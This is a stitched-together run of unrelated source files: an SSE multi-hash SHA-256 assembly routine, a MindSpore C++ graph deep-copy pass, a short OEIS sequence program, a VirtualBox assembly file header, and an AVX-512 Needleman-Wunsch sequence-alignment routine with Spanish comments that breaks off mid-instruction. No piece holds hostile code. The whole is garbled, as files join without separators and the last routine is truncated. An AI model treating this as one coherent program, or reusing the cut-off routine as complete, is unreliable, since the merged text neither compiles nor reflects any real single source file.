;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define loops arg3 ;variables of mh_sha256 %define mh_in_p arg0 %define mh_digests_p arg1 %define mh_data_p arg2 %define mh_segs tmp1 ;variables used by storing segs_digests on stack %define RSP_SAVE tmp2 %define FRAMESZ 4*8*16 ;BYTES*DWORDS*SEGS ; Common definitions %define ROUND tmp4 %define TBL tmp5 %define pref tmp3 %macro PREFETCH_X 1 %define %%mem %1 prefetchnta %%mem %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define MOVPS movups %define SZ 4 %define SZ4 4*SZ %define ROUNDS 64*SZ4 %define a xmm0 %define b xmm1 %define c xmm2 %define d xmm3 %define e xmm4 %define f xmm5 %define g xmm6 %define h xmm7 %define a0 xmm8 %define a1 xmm9 %define a2 xmm10 %define TT0 xmm14 %define TT1 xmm13 %define TT2 xmm12 %define TT3 xmm11 %define TT4 xmm10 %define TT5 xmm9 %define T1 xmm14 %define TMP xmm15 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro ROTATE_ARGS 0 %xdefine TMP_ h %xdefine h g %xdefine g f %xdefine f e %xdefine e d %xdefine d c %xdefine c b %xdefine b a %xdefine a TMP_ %endm ; PRORD reg, imm, tmp %macro PRORD 3 %define %%reg %1 %define %%imm %2 %define %%tmp %3 movdqa %%tmp, %%reg psrld %%reg, %%imm pslld %%tmp, (32-(%%imm)) por %%reg, %%tmp %endmacro ; PRORD dst/src, amt %macro PRORD 2 PRORD %1, %2, TMP %endmacro ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_00_15_R 3 %define %%T1 %1 %define %%i %2 %define %%data %3 movdqa a0, e ; sig1: a0 = e movdqa a1, e ; sig1: s1 = e PRORD a0, (11-6) ; sig1: a0 = (e >> 5) movdqa a2, f ; ch: a2 = f pxor a2, g ; ch: a2 = f^g pand a2, e ; ch: a2 = (f^g)&e pxor a2, g ; a2 = ch PRORD a1, 25 ; sig1: a1 = (e >> 25) movdqa %%T1,[SZ4*(%%i&0xf) + %%data] paddd %%T1,[TBL + ROUND] ; T1 = W + K pxor a0, e ; sig1: a0 = e ^ (e >> 5) PRORD a0, 6 ; sig1: a0 = (e >> 6) ^ (e >> 11) paddd h, a2 ; h = h + ch movdqa a2, a ; sig0: a2 = a PRORD a2, (13-2) ; sig0: a2 = (a >> 11) paddd h, %%T1 ; h = h + ch + W + K pxor a0, a1 ; a0 = sigma1 movdqa a1, a ; sig0: a1 = a movdqa %%T1, a ; maj: T1 = a PRORD a1, 22 ; sig0: a1 = (a >> 22) pxor %%T1, c ; maj: T1 = a^c add ROUND, SZ4 ; ROUND++ pand %%T1, b ; maj: T1 = (a^c)&b paddd h, a0 paddd d, h pxor a2, a ; sig0: a2 = a ^ (a >> 11) PRORD a2, 2 ; sig0: a2 = (a >> 2) ^ (a >> 13) pxor a2, a1 ; a2 = sig0 movdqa a1, a ; maj: a1 = a pand a1, c ; maj: a1 = a&c por a1, %%T1 ; a1 = maj paddd h, a1 ; h = h + ch + W + K + maj paddd h, a2 ; h = h + ch + W + K + maj + sigma0 ROTATE_ARGS %endm ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_00_15_W 3 %define %%T1 %1 %define %%i %2 %define %%data %3 movdqa a0, e ; sig1: a0 = e movdqa a1, e ; sig1: s1 = e PRORD a0, (11-6) ; sig1: a0 = (e >> 5) movdqa a2, f ; ch: a2 = f pxor a2, g ; ch: a2 = f^g pand a2, e ; ch: a2 = (f^g)&e pxor a2, g ; a2 = ch PRORD a1, 25 ; sig1: a1 = (e >> 25) movdqa [SZ4*(%%i&0xf) + %%data], %%T1 paddd %%T1,[TBL + ROUND] ; T1 = W + K pxor a0, e ; sig1: a0 = e ^ (e >> 5) PRORD a0, 6 ; sig1: a0 = (e >> 6) ^ (e >> 11) paddd h, a2 ; h = h + ch movdqa a2, a ; sig0: a2 = a PRORD a2, (13-2) ; sig0: a2 = (a >> 11) paddd h, %%T1 ; h = h + ch + W + K pxor a0, a1 ; a0 = sigma1 movdqa a1, a ; sig0: a1 = a movdqa %%T1, a ; maj: T1 = a PRORD a1, 22 ; sig0: a1 = (a >> 22) pxor %%T1, c ; maj: T1 = a^c add ROUND, SZ4 ; ROUND++ pand %%T1, b ; maj: T1 = (a^c)&b paddd h, a0 paddd d, h pxor a2, a ; sig0: a2 = a ^ (a >> 11) PRORD a2, 2 ; sig0: a2 = (a >> 2) ^ (a >> 13) pxor a2, a1 ; a2 = sig0 movdqa a1, a ; maj: a1 = a pand a1, c ; maj: a1 = a&c por a1, %%T1 ; a1 = maj paddd h, a1 ; h = h + ch + W + K + maj paddd h, a2 ; h = h + ch + W + K + maj + sigma0 ROTATE_ARGS %endm ;; arguments passed implicitly in preprocessor symbols i, a...h %macro ROUND_16_XX 3 %define %%T1 %1 %define %%i %2 %define %%data %3 movdqa %%T1, [SZ4*((%%i-15)&0xf) + %%data] movdqa a1, [SZ4*((%%i-2)&0xf) + %%data] movdqa a0, %%T1 PRORD %%T1, 18-7 movdqa a2, a1 PRORD a1, 19-17 pxor %%T1, a0 PRORD %%T1, 7 pxor a1, a2 PRORD a1, 17 psrld a0, 3 pxor %%T1, a0 psrld a2, 10 pxor a1, a2 paddd %%T1, [SZ4*((%%i-16)&0xf) + %%data] paddd a1, [SZ4*((%%i-7)&0xf) + %%data] paddd %%T1, a1 ROUND_00_15_W %%T1, %%i, %%data %endm ;init hash digests ; segs_digests:low addr-> high_addr ; a | b | c | ...| p | (16) ; h0 | h0 | h0 | ...| h0 | | Aa| Ab | Ac |...| Ap | ; h1 | h1 | h1 | ...| h1 | | Ba| Bb | Bc |...| Bp | ; .... ; h7 | h7 | h7 | ...| h7 | | Ha| Hb | Hc |...| Hp | align 32 ;void mh_sha256_block_sse(const uint8_t * input_data, uint32_t digests[SHA256_DIGEST_WORDS][HASH_SEGS], ; uint8_t frame_buffer[MH_SHA256_BLOCK_SIZE], uint32_t num_blocks); ; arg 0 pointer to input data ; arg 1 pointer to digests, include segments digests(uint32_t digests[16][8]) ; arg 2 pointer to aligned_frame_buffer which is used to save the big_endian data. ; arg 3 number of 1KB blocks ; mk_global mh_sha256_block_sse, function, internal func(mh_sha256_block_sse) endbranch FUNC_SAVE ; save rsp mov RSP_SAVE, rsp cmp loops, 0 jle .return ; leave enough space to store segs_digests sub rsp, FRAMESZ ; align rsp to 16 Bytes needed by sse and rsp, ~0x0F lea TBL,[TABLE] %assign I 0 ; copy segs_digests into stack %rep 8 MOVPS a, [mh_digests_p + I*64 + 16*0] MOVPS b, [mh_digests_p + I*64 + 16*1] MOVPS c, [mh_digests_p + I*64 + 16*2] MOVPS d, [mh_digests_p + I*64 + 16*3] movdqa [rsp + I*64 + 16*0], a movdqa [rsp + I*64 + 16*1], b movdqa [rsp + I*64 + 16*2], c movdqa [rsp + I*64 + 16*3], d %assign I (I+1) %endrep .block_loop: ;transform to big-endian data and store on aligned_frame movdqa TMP, [PSHUFFLE_BYTE_FLIP_MASK] ;transform input data from DWORD*16_SEGS*8 to DWORD*4_SEGS*8*4 %assign I 0 %rep 16 MOVPS TT0,[mh_in_p + I*64+0*16] MOVPS TT1,[mh_in_p + I*64+1*16] MOVPS TT2,[mh_in_p + I*64+2*16] MOVPS TT3,[mh_in_p + I*64+3*16] pshufb TT0, TMP movdqa [mh_data_p +(I)*16 +0*256],TT0 pshufb TT1, TMP movdqa [mh_data_p +(I)*16 +1*256],TT1 pshufb TT2, TMP movdqa [mh_data_p +(I)*16 +2*256],TT2 pshufb TT3, TMP movdqa [mh_data_p +(I)*16 +3*256],TT3 %assign I (I+1) %endrep mov mh_segs, 0 ;start from the first 4 segments mov pref, 1024 ;avoid prefetch repeadtedly .segs_loop: xor ROUND, ROUND ;; Initialize digests movdqa a, [rsp + 0*64 + mh_segs] movdqa b, [rsp + 1*64 + mh_segs] movdqa c, [rsp + 2*64 + mh_segs] movdqa d, [rsp + 3*64 + mh_segs] movdqa e, [rsp + 4*64 + mh_segs] movdqa f, [rsp + 5*64 + mh_segs] movdqa g, [rsp + 6*64 + mh_segs] movdqa h, [rsp + 7*64 + mh_segs] %assign i 0 %rep 4 ROUND_00_15_R TT0, (i*4+0), mh_data_p ROUND_00_15_R TT1, (i*4+1), mh_data_p ROUND_00_15_R TT2, (i*4+2), mh_data_p ROUND_00_15_R TT3, (i*4+3), mh_data_p %assign i (i+1) %endrep PREFETCH_X [mh_in_p + pref+128*0] %assign i 16 %rep 48 %if i = 48 PREFETCH_X [mh_in_p + pref+128*1] %endif ROUND_16_XX T1, i, mh_data_p %assign i (i+1) %endrep ;; add old digest paddd a, [rsp + 0*64 + mh_segs] paddd b, [rsp + 1*64 + mh_segs] paddd c, [rsp + 2*64 + mh_segs] paddd d, [rsp + 3*64 + mh_segs] paddd e, [rsp + 4*64 + mh_segs] paddd f, [rsp + 5*64 + mh_segs] paddd g, [rsp + 6*64 + mh_segs] paddd h, [rsp + 7*64 + mh_segs] ; write out digests movdqa [rsp + 0*64 + mh_segs], a movdqa [rsp + 1*64 + mh_segs], b movdqa [rsp + 2*64 + mh_segs], c movdqa [rsp + 3*64 + mh_segs], d movdqa [rsp + 4*64 + mh_segs], e movdqa [rsp + 5*64 + mh_segs], f movdqa [rsp + 6*64 + mh_segs], g movdqa [rsp + 7*64 + mh_segs], h add pref, 256 add mh_data_p, 256 add mh_segs, 16 cmp mh_segs, 64 jc .segs_loop sub mh_data_p, (1024) add mh_in_p, (1024) sub loops, 1 jne .block_loop %assign I 0 ; copy segs_digests back to mh_digests_p %rep 8 movdqa a, [rsp + I*64 + 16*0] movdqa b, [rsp + I*64 + 16*1] movdqa c, [rsp + I*64 + 16*2] movdqa d, [rsp + I*64 + 16*3] MOVPS [mh_digests_p + I*64 + 16*0], a MOVPS [mh_digests_p + I*64 + 16*1], b MOVPS [mh_digests_p + I*64 + 16*2], c MOVPS [mh_digests_p + I*64 + 16*3], d %assign I (I+1) %endrep mov rsp, RSP_SAVE ; restore rsp .return: FUNC_RESTORE ret endproc_frame section .data align=16 align 16 TABLE: dq 0x428a2f98428a2f98, 0x428a2f98428a2f98 dq 0x7137449171374491, 0x7137449171374491 dq 0xb5c0fbcfb5c0fbcf, 0xb5c0fbcfb5c0fbcf dq 0xe9b5dba5e9b5dba5, 0xe9b5dba5e9b5dba5 dq 0x3956c25b3956c25b, 0x3956c25b3956c25b dq 0x59f111f159f111f1, 0x59f111f159f111f1 dq 0x923f82a4923f82a4, 0x923f82a4923f82a4 dq 0xab1c5ed5ab1c5ed5, 0xab1c5ed5ab1c5ed5 dq 0xd807aa98d807aa98, 0xd807aa98d807aa98 dq 0x12835b0112835b01, 0x12835b0112835b01 dq 0x243185be243185be, 0x243185be243185be dq 0x550c7dc3550c7dc3, 0x550c7dc3550c7dc3 dq 0x72be5d7472be5d74, 0x72be5d7472be5d74 dq 0x80deb1fe80deb1fe, 0x80deb1fe80deb1fe dq 0x9bdc06a79bdc06a7, 0x9bdc06a79bdc06a7 dq 0xc19bf174c19bf174, 0xc19bf174c19bf174 dq 0xe49b69c1e49b69c1, 0xe49b69c1e49b69c1 dq 0xefbe4786efbe4786, 0xefbe4786efbe4786 dq 0x0fc19dc60fc19dc6, 0x0fc19dc60fc19dc6 dq 0x240ca1cc240ca1cc, 0x240ca1cc240ca1cc dq 0x2de92c6f2de92c6f, 0x2de92c6f2de92c6f dq 0x4a7484aa4a7484aa, 0x4a7484aa4a7484aa dq 0x5cb0a9dc5cb0a9dc, 0x5cb0a9dc5cb0a9dc dq 0x76f988da76f988da, 0x76f988da76f988da dq 0x983e5152983e5152, 0x983e5152983e5152 dq 0xa831c66da831c66d, 0xa831c66da831c66d dq 0xb00327c8b00327c8, 0xb00327c8b00327c8 dq 0xbf597fc7bf597fc7, 0xbf597fc7bf597fc7 dq 0xc6e00bf3c6e00bf3, 0xc6e00bf3c6e00bf3 dq 0xd5a79147d5a79147, 0xd5a79147d5a79147 dq 0x06ca635106ca6351, 0x06ca635106ca6351 dq 0x1429296714292967, 0x1429296714292967 dq 0x27b70a8527b70a85, 0x27b70a8527b70a85 dq 0x2e1b21382e1b2138, 0x2e1b21382e1b2138 dq 0x4d2c6dfc4d2c6dfc, 0x4d2c6dfc4d2c6dfc dq 0x53380d1353380d13, 0x53380d1353380d13 dq 0x650a7354650a7354, 0x650a7354650a7354 dq 0x766a0abb766a0abb, 0x766a0abb766a0abb dq 0x81c2c92e81c2c92e, 0x81c2c92e81c2c92e dq 0x92722c8592722c85, 0x92722c8592722c85 dq 0xa2bfe8a1a2bfe8a1, 0xa2bfe8a1a2bfe8a1 dq 0xa81a664ba81a664b, 0xa81a664ba81a664b dq 0xc24b8b70c24b8b70, 0xc24b8b70c24b8b70 dq 0xc76c51a3c76c51a3, 0xc76c51a3c76c51a3 dq 0xd192e819d192e819, 0xd192e819d192e819 dq 0xd6990624d6990624, 0xd6990624d6990624 dq 0xf40e3585f40e3585, 0xf40e3585f40e3585 dq 0x106aa070106aa070, 0x106aa070106aa070 dq 0x19a4c11619a4c116, 0x19a4c11619a4c116 dq 0x1e376c081e376c08, 0x1e376c081e376c08 dq 0x2748774c2748774c, 0x2748774c2748774c dq 0x34b0bcb534b0bcb5, 0x34b0bcb534b0bcb5 dq 0x391c0cb3391c0cb3, 0x391c0cb3391c0cb3 dq 0x4ed8aa4a4ed8aa4a, 0x4ed8aa4a4ed8aa4a dq 0x5b9cca4f5b9cca4f, 0x5b9cca4f5b9cca4f dq 0x682e6ff3682e6ff3, 0x682e6ff3682e6ff3 dq 0x748f82ee748f82ee, 0x748f82ee748f82ee dq 0x78a5636f78a5636f, 0x78a5636f78a5636f dq 0x84c8781484c87814, 0x84c8781484c87814 dq 0x8cc702088cc70208, 0x8cc702088cc70208 dq 0x90befffa90befffa, 0x90befffa90befffa dq 0xa4506ceba4506ceb, 0xa4506ceba4506ceb dq 0xbef9a3f7bef9a3f7, 0xbef9a3f7bef9a3f7 dq 0xc67178f2c67178f2, 0xc67178f2c67178f2 PSHUFFLE_BYTE_FLIP_MASK: dq 0x0405060700010203, 0x0c0d0e0f08090a0b
/** * Copyright 2020 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "minddata/dataset/include/dataset/datasets.h" #include "minddata/dataset/engine/opt/pre/deep_copy_pass.h" #include "minddata/dataset/engine/ir/datasetops/root_node.h" namespace mindspore { namespace dataset { DeepCopyPass::DeepCopyPass() { root_ = std::make_shared<RootNode>(); parent_ = root_.get(); } Status DeepCopyPass::Visit(std::shared_ptr<DatasetNode> node, bool *const modified) { *modified = true; // Do a nested-loop walk to check whether a node has the same child more than once. // This is an artificial restriction. We can support it since we will do a clone of the input tree in this pass. // Example: ds2 = ds1 + ds1; auto children = node->Children(); if (children.size() > 0) { for (auto it1 = children.begin(); it1 != children.end() - 1; ++it1) { for (auto it2 = it1 + 1; it2 != children.end(); ++it2) { if (*it1 == *it2) { std::string err_msg = "The same node " + (*it1)->Name() + " is a child of its parent more than once."; RETURN_STATUS_UNEXPECTED(err_msg); } } } } // Clone a new copy of this node std::shared_ptr<DatasetNode> new_node = node->Copy(); // Temporary fix to set the num_workers to each cloned node. // This can be improved by adding a new method in the base class DatasetNode to transfer the properties to // the cloned node. Each derived class's Copy() will need to include this method. new_node->SetNumWorkers(node->NumWorkers()); // This method below assumes a DFS walk and from the first child to the last child. // Future: A more robust implementation that does not depend on the above assumption. RETURN_IF_NOT_OK(parent_->AppendChild(new_node)); // Then set this node to be a new parent to accept a copy of its next child parent_ = new_node.get(); return Status::OK(); } Status DeepCopyPass::VisitAfter(std::shared_ptr<DatasetNode> node, bool *const modified) { *modified = true; // After visit the node, move up to its parent parent_ = parent_->parent_; return Status::OK(); } } // namespace dataset } // namespace mindspore
; A063196: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 7 ). ; 0,1,3,3,5,5,7,7,9,9,11,11,13,13,15,15,17,17,19,19,21,21,23,23,25,25,27,27,29,29,31,31,33,33,35,35,37,37,39,39,41,41,43,43,45,45,47,47,49,49,51,51,53,53,55,55,57,57,59,59,61,61,63,63,65,65,67,67,69,69,71,71,73,73,75,75,77,77,79,79,81,81,83,83,85,85,87,87,89,89,91,91,93,93,95,95,97,97,99,99,101,101,103,103,105,105,107,107,109,109,111,111,113,113,115,115,117,117,119,119,121,121,123,123,125,125,127,127,129,129,131,131,133,133,135,135,137,137,139,139,141,141,143,143,145,145,147,147,149,149,151,151,153,153,155,155,157,157,159,159,161,161,163,163,165,165,167,167,169,169,171,171,173,173,175,175,177,177,179,179,181,181,183,183,185,185,187,187,189,189,191,191,193,193,195,195,197,197,199,199,201,201,203,203,205,205,207,207,209,209,211,211,213,213,215,215,217,217,219,219,221,221,223,223,225,225,227,227,229,229,231,231,233,233,235,235,237,237,239,239,241,241,243,243,245,245,247,247,249,249 mov $1,$0 trn $0,1 mod $0,2 add $1,$0
; $Id: EMRCA.asm 69111 2017-10-17 14:26:02Z vboxsync $ ;; @file ; EM Assembly Routines. ; ; ; Copyright (C) 2006-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "VBox/asmdefs.mac" %include "VBox/err.mac" %include "iprt/x86.mac" BEGINCODE
global NW_ASM_AVX512 extern malloc extern free extern printf extern backtracking_C extern new_alignment_matrix extern get_score_SSE section .rodata malloc_error_str : db `No se pudo reservar memoria suficiente.\nMalloc: %d\nIntente reservar: %d bytes\n`,0 ; Máscara utilizada para invertir el string almacenado en un registro str_reverse_mask: Dw 0x1F,0x1E,0x1D,0x1C,0x1B,0x1A,0x19,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xF,0xE,0xD,0xC,0xB,0xA,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0 str_512_unpacklo_epi8_mask: DQ 0x0,0xFF,0x1,0xFF,0x2,0xFF,0x3,0xFF ; Mascara para rotar a derecha a nivel word un zmm score_512_rot_right_word_mask: DW 0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x0 ; Variables globales %define constant_gap_zmm zmm0 %define constant_gap_ymm ymm0 %define constant_gap_xmm xmm0 %define constant_missmatch_zmm zmm1 %define constant_missmatch_ymm ymm1 %define constant_missmatch_xmm xmm1 %define constant_match_zmm zmm2 %define constant_match_ymm ymm2 %define constant_match_xmm xmm2 %define zeroes_zmm zmm3 %define zeroes_ymm ymm3 %define zeroes_xmm xmm3 %define str_row_zmm zmm4 %define str_row_ymm ymm4 %define str_row_xmm xmm4 %define str_col_zmm zmm5 %define str_col_ymm ymm5 %define str_col_xmm xmm5 %define left_score_zmm zmm6 %define left_score_ymm ymm6 %define left_score_xmm xmm6 %define up_score_zmm zmm7 %define up_score_ymm ymm7 %define up_score_xmm xmm7 %define diag_score_zmm zmm8 %define diag_score_ymm ymm8 %define diag_score_xmm xmm8 %define diag1_zmm zmm9 %define diag1_ymm ymm9 %define diag1_xmm xmm9 %define diag2_zmm zmm10 %define diag2_ymm ymm10 %define diag2_xmm xmm10 %define str_reverse_mask_zmm zmm11 %define str_reverse_mask_ymm ymm11 %define str_reverse_mask_xmm xmm11 %define str_512_unpacklo_epi8_mask_zmm zmm12 %define str_512_unpacklo_epi8_mask_ymm ymm12 %define str_512_unpacklo_epi8_mask_xmm xmm12 %define score_512_rot_right_word_mask_zmm zmm13 %define score_512_rot_right_word_mask_ymm ymm13 %define score_512_rot_right_word_mask_xmm xmm13 %define height r8 %define width r9 %define score_matrix r10 %define v_aux r11 %define seq1 r12 %define seq2 r13 %define seq1_len r14 %define seq2_len r15 ; Alignment offsets ; struct Alignment{ ; Sequence* sequence_1; ; Sequence* sequence_2; ; Parameters* parameters; ; Result* result; ; short* matrix; ; }; %define alignment_offset_sequence_1 0 %define alignment_offset_sequence_2 8 %define alignment_offset_parameters 16 %define alignment_offset_result 24 %define alignment_offset_matrix 32 ; Sequence offsets ; struct Sequence{ ; unsigned int length; ; char* sequence; //data ; }; %define sequence_offset_length 0 %define sequence_offset_sequence 8 ; Parameters offsets ; struct Parameters{ ; char* algorithm; ; short match; ; short missmatch; ; short gap; ; }; %define parameters_offset_algorithm 0 %define parameters_offset_match 8 %define parameters_offset_missmatch 10 %define parameters_offset_gap 12 ; Result offsets ;struct Result{ ; Sequence* sequence_1; ; Sequence* sequence_2; ; short score; ;}; %define result_offset_sequence_1 0 %define result_offset_sequence_2 8 %define result_offset_score 16 ; Este valor se usa para calcular el tamanio de la matriz ; y poder navegarla. Es necesario actualizarlo si cambia. %define vector_len 32 %define vector_len_log 5 section .text ; Funciones auxiliares ; Inicializar los valores del vector auxiliar y la matriz de puntajes inicializar_casos_base: %define offset_y rbx %define diag_zmm zmm14 %define diag_ymm ymm14 %define diag_xmm xmm14 %define temp_zmm zmm15 %define temp_ymm ymm15 %define temp_xmm xmm15 mov rdi, [rdi + alignment_offset_parameters] mov di, [rdi + parameters_offset_gap] ; Llenamos el vector auxiliar mov rsi, 0 mov rax, width dec rax .loop: mov word [v_aux + rsi*2], -32768 ; SHRT_MIN/2 inc rsi cmp rax, rsi jne .loop ; Inicializar casos base en matriz mov rsi, 0 .loop1: ;offset_y = i * width * vector_len; mov rax, rsi mul width shl rax, vector_len_log mov offset_y, rax ; offset_y = i * width * vector_len mov ax, -32768 ; SHRT_MIN/2 vpbroadcastw diag_zmm, eax ; diag_xmm = | -16384 | -16384 | ... | -16384 | -16384 | vmovdqu16 [score_matrix + 2*offset_y], diag_zmm mov rax, rdi mul rsi shl rax, vector_len_log vmovdqu16 temp_xmm, diag_xmm vpinsrw temp_xmm, eax, 7 vinserti64x2 diag_zmm, diag_zmm, temp_xmm, 3 ; diag_xmm = | gap * i * vector_len | -16384 | ... | -16384 | -16384 | vmovdqu16 [score_matrix + 2*offset_y + 2*vector_len], diag_zmm inc rsi mov rax, height cmp rsi, rax jne .loop1 ret ; Lee de memoria y almacena correctamente en los registros los caracteres de la secuencia columna a utilizar en la comparación leer_secuencia_columna: ; rdi = i %define str_col_temp_zmm zmm14 %define str_col_temp_ymm ymm14 %define str_col_temp_xmm xmm14 %define shift_right_mask k1 %define i_index rdi mov rcx, i_index inc rcx shl rcx, vector_len_log ; rdx = (i+1) * vector_len cmp rcx, seq2_len jl .else ; Caso de desborde por abajo sub rcx, seq2_len ; rdx = offset_str_col ; Shiftear a derecha shift_right_mask una cantidad de posiciones equivalente a caracteres invalidos, ; para evitar levantar memoria invalida mov edx, 0xFFFFFFFF shr edx, cl kmovd shift_right_mask, edx add rcx, seq2_len vpcmpeqw str_col_ymm, str_col_ymm, str_col_ymm ; Seleccionar los caracteres validos a derecha con el offset adecuado para que queden cargados correctamente para la comparación mas adelante ; A su vez poner en los lugares de posiciones invalidas todos 1s, para evitar que coincida con algun caracter de la secuencia columna vmovdqu8 str_col_ymm{shift_right_mask}, [seq2 + rcx - vector_len] jmp .end .else:; Caso sin desborde shl i_index, vector_len_log vmovdqu str_col_ymm, [seq2 + i_index] ; Desempaquetar los caracteres almacenados en str_col_xmm para trabajar con words jmp .end .end: vpermq str_col_zmm, str_512_unpacklo_epi8_mask_zmm, str_col_zmm vpunpcklbw str_col_zmm, str_col_zmm, zeroes_zmm ; Invertir el string almacenado en str_col_xmm vpermw str_col_zmm, str_reverse_mask_zmm, str_col_zmm ret leer_secuencia_fila: ; rdi = j %define shift_left_mask k1 %define shift_right_mask k2 %define offset_str_row_zmm zmm14 %define offset_str_row_ymm ymm14 %define offset_str_row_xmm xmm14 %define str_row_hi_zmm zmm15 %define str_row_hi_ymm ymm15 %define str_row_hi_xmm xmm15 %define str_row_lo_zmm zmm16 %define str_row_lo_ymm ymm16 %define str_row_lo_xmm xmm16 %define j_index rdi mov rdx, j_index sub rdx, vector_len ; rdx = j - vector_len cmp rdx, 0 jge .elseif ; j-vector_len < 0 mov rcx, vector_len sub rcx, j_index ; rcx = offset_str_row ; Shiftear a izquierda shift_left_mask una cantidad de posiciones equivalente a caracteres invalidos, ; para evitar levantar memoria invalida mov edx, 0xFFFFFFFF shl edx, cl kmovd shift_left_mask, edx mov rdx, seq1 sub rdx, rcx ; Seleccionar los caracteres validos a izquierda con el offset adecuado para que queden cargados correctamente para la comparación mas adelante ; A su vez poner en los lugares de posiciones invalidas todos 0s, para evitar que coincida con algun caracter de la secuencia columna vmovdqu8 str_row_ymm{shift_left_mask}{z}, [rdx] jmp .end .elseif: mov rdx, width sub rdx, vector_len cmp j_index, rdx ; j > width-vector_len jle .else mov rcx, j_index sub rcx, rdx ; rcx = offset_str_row ; Shiftear a derecha shift_right_mask una cantidad de posiciones equivalente a caracteres invalidos, ; para evitar levantar memoria invalida mov edx, 0xFFFFFFFF shr edx, cl kmovd shift_right_mask, edx ; Seleccionar los caracteres validos a derecha con el offset adecuado para que queden cargados correctamente para la comparación mas adelante ; A su vez poner en los lugares de posiciones invalidas todos 0s, para evitar que coincida con algun caracter de la secuencia columna vmovdqu8 str_row_ymm{shift_right_mask}{z}, [seq1 + j_index - vector_len] jmp .end .else: vmovdqu str_row_ymm, [seq1 + j_index - vector_len] jmp .end .end: ; Desempaquetamr los caracteres en str_row_ymm para trabajar a nivel word vpermq str_row_zmm, str_512_unpacklo_epi8_mask_zmm, str_row_zmm vpunpcklbw str_row_zmm, str_row_zmm, zeroes_zmm ret ; Calcula los puntajes resultantes de las comparaciones entre caracteres calcular_scores: ; rdi = j ; rsi = offset_y ; rdx = offset_x %define cmp_match_zmm zmm14 %define cmp_match_ymm ymm14 %define cmp_match_xmm xmm14 %define cmp_mask k1 ; Calcular los scores viniendo por izquierda, sumandole a cada posicion la penalidad del gap vmovdqu16 left_score_zmm, diag2_zmm vpaddsw left_score_zmm, left_score_zmm, constant_gap_zmm ; Calcular los scores viniendo por arriba, sumandole a cada posicion la penalidad del gap vmovdqu16 up_score_zmm, diag2_zmm mov bx, word [v_aux + 2*rdi - 2*1] pinsrw up_score_xmm, ebx, 0b0 vpermw up_score_zmm, score_512_rot_right_word_mask_zmm, up_score_zmm vpaddsw up_score_zmm, up_score_zmm, constant_gap_zmm ; Calcular los scores viniendo diagonalmente, sumando en cada caso el puntaje de match o missmatch ; si coinciden o no los caracteres de la fila y columna correspondientes vmovdqu16 diag_score_zmm, diag1_zmm mov bx, word [v_aux + 2*rdi - 2*2] pinsrw diag_score_xmm, ebx, 0b0 vpermw diag_score_zmm, score_512_rot_right_word_mask_zmm, diag_score_zmm ; Comparar los dos strings y colocar según corresponda el puntaje correcto (match o missmatch) en cada posición vpcmpw cmp_mask, str_col_zmm, str_row_zmm, 0 vpblendmw cmp_match_zmm{cmp_mask}, constant_missmatch_zmm, constant_match_zmm vpaddsw diag_score_zmm, diag_score_zmm, cmp_match_zmm ret ; Funcion principal (global) NW_ASM_AVX512: ; struct Alignment{ ; Sequence* sequence_1; ; Sequence* sequence_2; ; Parameters* parameters; ; Result* result; ; AlignmentMatrix* matrix; ; }; ; rdi = *alignment, rsi = debug ; prologo ---------------------------------------------------------- push rbp mov rbp, rsp push rbx ;save current rbx push r12 ;save current r12 push r13 ;save current r13 push r14 ;save current r14 push r15 ;save current r15 ; preservo debug -------------------------------------------------- push rsi ; acceso a las subestructuras de alignment ------------------------ mov rax, [rdi + alignment_offset_sequence_1] mov seq1, [rax + sequence_offset_sequence] xor seq1_len, seq1_len mov r14d, [rax + sequence_offset_length] mov rax, [rdi + alignment_offset_sequence_2] mov seq2, [rax + sequence_offset_sequence] xor seq2_len, seq2_len mov r15d, [rax + sequence_offset_length] ;------------------------------------------------------------------ ; Calculo height, width y score_matrix. Malloc matrix y v_aux ----- mov rax, seq2_len add rax, vector_len dec rax shr rax, vector_len_log mov height,rax mov rax, seq1_len add rax, vector_len mov width, rax mov rax, height mul width shl rax, vector_len_log ; ----------------------------------------------------------------- ; Reservar memoria para la matriz de puntajes y el vector auxiliar, luego inicializamos sus valores push rdi ; conserva *alignment push r8 push r9 mov rdi, rax shl rdi, 1 ; score_matrix_sz*sizeof(short) sub rsp, 8 call malloc add rsp, 8 mov rsi, 0 cmp rax, 0 je .malloc_error pop r9 pop r8 mov score_matrix, rax push r8 push r9 push r10 mov rdi, width dec rdi shl rdi,1 call malloc mov rsi, 1 cmp rax, 0 je .malloc_error pop r10 pop r9 pop r8 pop rdi mov v_aux, rax ;------------------------------------------------------------------ ; asignacion de datos en los registros xmm nombrados -------------- ; Broadcastear el valor de gap, a nivel word, en el registro mov rax, [rdi + alignment_offset_parameters] mov ax, [rax + parameters_offset_gap] vpbroadcastw constant_gap_zmm, eax ; Broadcastear el valor de missmatch, a nivel word, en el registro mov rax, [rdi + 